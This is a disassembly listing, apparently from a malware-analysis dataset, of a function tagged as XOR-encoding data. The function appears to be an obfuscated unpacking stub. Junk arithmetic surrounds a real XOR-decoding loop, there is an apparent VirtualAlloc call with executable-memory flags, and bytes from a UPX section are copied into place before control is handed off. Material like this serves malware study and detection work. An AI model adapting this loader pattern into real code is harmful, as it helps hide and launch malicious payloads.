Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xb3123d72
mov ebx, eax
add ebx, ebx
popal
add eax, 1
or ebx, eax
dec eax
mov ecx, 0
mov ebx, eax
mov edi, edx
mov edi, edx
mov edi, edx
mov esi, ebx
dec edx
sub edi, edx
mov eax, esi
sub edx, edi
sub edi, 0x8c92a8ee
inc ecx
and edi, edi
or edi, edi
dec edi
cmp ecx, 0x100f621
jne 0xa789c5
inc edx
dec edi
inc ebx
sub ebx, eax
mov edi, 0xa78796
sub edx, 0x7e35cf8d
sub eax, esi
mov ebx, 0xa7898a
dec edx
mov edx, eax
or eax, eax
mov ecx, dword [edi]
mov eax, 0x350c6dd8
sub esi, edx
mov edx, 0x1eb27ae7
and ecx, 0xff
add edx, 0xd1ac8a59
add edx, 0x255ebfa
add eax, eax
xor dword [ebx], ecx
add eax, edx
add esi, 1
inc ebx
mov eax, 0x46b2b7ff
sub edx, 0xd7b1240e
inc edi
inc eax
add eax, 0xbae941b7
cmp ebx, entry0
jl 0xa78a0a
mov esi, edx
add eax, esi
mov eax, esi
sub eax, esi
mov ebx, edi
inc esi
mov edx, 0xa7898e
add edi, ebx
add ebx, 0xefdbc80b
mov edx, dword [edx]
or ecx, edi
sub ecx, esi
mov edx, dword [edx]
and ecx, esi
not edi
push edx
sub ecx, edi
mov edi, ecx
and ebx, esi
mov edx, 0xa7898a
sub esi, ecx
and ebx, esi
add ecx, 0xeba6d1c4
mov edx, dword [edx]
not edi
mov edi, 0x9973f343
mov edx, dword [edx]
and ecx, esi
not ecx
push 0xa78992
dec ebx
add ecx, 0x56c3923e
call edx
dec edi
add esi, 0xaae3a4ad
inc ecx
pop edx
or ebx, esi
not edi
sub esp, 4
mov dword [esp], 0xa7899f
inc ebx
dec ebx
sub esp, 4
mov dword [esp], eax
sub esi, 0x4b55af13
and edi, ebx
add edi, 0x4b7049c5
call edx
sub edi, 1
or esi, esi
push 0x40
sub ecx, edi
dec esi
sub esp, 4
mov dword [esp], 0x3000
inc ebx
add ebx, 1
add edi, 0x84d724f5
push 0x20000b04
dec ecx
add esi, ecx
mov ecx, 0x189d912c
push 0
sub esi, ebx
sub ebx, 0xdf1ab249
sub ebx, edi
call eax
sub edi, 0x7d664f35
mov esi, 0x4db14b7
add eax, 0x20000a70
sub edi, esi
add ecx, 1
sub esi, 0x225da9c8
mov edx, 0x7413d942
inc ebx
add ebx, 1
add edi, 1
mov dword [eax], edx
mov ebx, edi
mov edi, 0x45892334
sub edi, 1
mov edx, dword [eax]
mov ebx, ecx
and ecx, esi
add ebx, 0x5a1e948c
cmp edx, 0x7413d942
je 0xa78b7c
mov ebx, 0
mov edx, dword [ebx]
dec edi
or edi, ebx
sub esi, ebx
mov ecx, ebx
or ebx, ebx
add eax, 0x18ac0d7e
mov edx, section.UPX1
mov eax, ebx
not eax
mov esi, 0xa78795
and ebx, ebx
sub ebx, 0xb0ab27e4
not ebx
mov edi, 0
sub ebx, 0x46929f75
dec ebx
mov eax, ebx
mov ecx, 0xa78796
or ebx, ebx
and eax, eax
lea ecx, [ecx + edi]
add ebx, 0x2d3b83c3
and eax, ebx
mov ebx, 0x414e8153
mov ecx, dword [ecx]
add eax, 0xb449201d
or eax, eax
and ebx, ebx
and ecx, 0xff
not eax
not ebx
mov ebx, eax
inc edi
not ebx
and ebx, eax
and ebx, eax
cmp edi, 0x1f4
jne 0xa78bf6
mov edi, 0
not eax
sub ebx, 0x666c4e2a
or ebx, eax
add eax, ebx
and eax, ebx
xor dword [edx], ecx
mov ebx, 0xd0ccfeef
sub ebx, eax
add edx, 2
add ebx, eax
not eax
cmp edx, esi
jl 0xa78bb1
not eax
add ebx, eax
add ebx, ebx
add ebx, eax
not eax
and eax, eax
mov edi, section.UPX1
inc ebx
not ebx
inc ebx
mov esi, section.UPX1
mov ecx, ebx
dec ebx
mov edx, 0xa78795
mov ecx, 0xefd6877f
or ecx, ecx
mov eax, 0
sub ebx, 0xa3ee505f
add ebx, ecx
dec ecx
mov al, byte [esi]
sub ebx, ecx
mov ecx, 0x2d39bbef
mov ecx, 0x284361c4
mov byte [edi], al
add ecx, ecx
dec ebx
add edi, 1
dec ecx
add ecx, ecx
or ecx, ebx
add esi, 2
or ebx, ebx
not ebx
inc ecx
cmp esi, edx
jle 0xa78c56
sub ebx, ecx
inc ecx
add ebx, ecx
sub ebx, 0x837e6fff
and eax, eax
mov eax, ebx
sub esp, 4
mov dword [esp], 0x8dc6a0
not ebx
sub ebx, 0x15bffcac
ret